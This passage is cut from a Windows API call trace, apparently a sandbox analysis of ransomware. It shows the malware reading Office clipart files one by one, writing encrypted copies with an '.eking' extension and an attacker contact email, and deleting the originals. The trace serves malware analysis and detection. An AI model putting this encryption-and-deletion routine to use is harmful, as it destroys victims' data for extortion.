lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.185] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.185] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.185] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1398, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1398, lpOverlapped=0x0) returned 1 [0190.187] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.192] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.194] CloseHandle (hObject=0x1b8) returned 1 [0190.195] CloseHandle (hObject=0x1e8) returned 1 [0190.196] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0190.198] SetEvent (hEvent=0x174) returned 1 [0190.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.200] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4390) returned 1 [0190.200] CloseHandle (hObject=0x1e8) returned 1 [0190.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0190.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0190.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.201] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.201] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0190.202] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1126, lpOverlapped=0x0) returned 1 [0190.204] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1130, lpOverlapped=0x0) returned 1 [0190.205] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.205] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.205] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.205] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1126, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1126, lpOverlapped=0x0) returned 1 [0190.207] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.211] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.213] CloseHandle (hObject=0x1e8) returned 1 [0190.214] CloseHandle (hObject=0x1b8) returned 1 [0190.215] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0190.217] SetEvent (hEvent=0x174) returned 1 [0190.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.217] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3966) returned 1 [0190.217] CloseHandle (hObject=0x1b8) returned 1 [0190.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0190.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0190.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.218] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.218] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0190.219] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xf7e, lpOverlapped=0x0) returned 1 [0190.222] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf80, lpOverlapped=0x0) returned 1 [0190.223] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.223] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.223] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.223] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf7e, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xf7e, lpOverlapped=0x0) returned 1 [0190.225] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.229] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.628] CloseHandle (hObject=0x1b8) returned 1 [0190.629] CloseHandle (hObject=0x1e8) returned 1 [0190.630] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0190.632] SetEvent (hEvent=0x174) returned 1 [0190.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.633] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3378) returned 1 [0190.633] CloseHandle (hObject=0x1e8) returned 1 [0190.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0190.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0190.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.634] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.634] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0190.635] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xd32, lpOverlapped=0x0) returned 1 [0190.642] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xd40, lpOverlapped=0x0) returned 1 [0190.643] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.644] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.644] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.644] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xd32, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xd32, lpOverlapped=0x0) returned 1 [0190.645] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.860] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.863] CloseHandle (hObject=0x1e8) returned 1 [0190.863] CloseHandle (hObject=0x1b8) returned 1 [0190.865] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0190.867] SetEvent (hEvent=0x174) returned 1 [0190.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.868] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3120) returned 1 [0190.868] CloseHandle (hObject=0x1b8) returned 1 [0190.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0190.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0190.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.869] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.869] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0190.870] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xc30, lpOverlapped=0x0) returned 1 [0190.872] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xc40, lpOverlapped=0x0) returned 1 [0190.874] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.874] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.874] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.874] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xc30, lpOverlapped=0x0) returned 1 [0190.877] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.881] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.883] CloseHandle (hObject=0x1b8) returned 1 [0190.884] CloseHandle (hObject=0x1e8) returned 1 [0190.885] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0190.889] SetEvent (hEvent=0x174) returned 1 [0190.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.891] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3026) returned 1 [0190.891] CloseHandle (hObject=0x1e8) returned 1 [0190.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0190.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0190.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.892] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.892] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0190.893] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xbd2, lpOverlapped=0x0) returned 1 [0190.929] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xbe0, lpOverlapped=0x0) returned 1 [0190.931] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.931] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.931] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.931] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xbd2, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xbd2, lpOverlapped=0x0) returned 1 [0190.934] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.938] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.941] CloseHandle (hObject=0x1e8) returned 1 [0190.941] CloseHandle (hObject=0x1b8) returned 1 [0190.942] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0190.944] SetEvent (hEvent=0x174) returned 1 [0190.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.945] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4734) returned 1 [0190.945] CloseHandle (hObject=0x1b8) returned 1 [0190.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0190.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0190.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.946] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.946] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0190.946] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x127e, lpOverlapped=0x0) returned 1 [0190.949] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1280, lpOverlapped=0x0) returned 1 [0190.950] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.951] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.951] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.951] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, 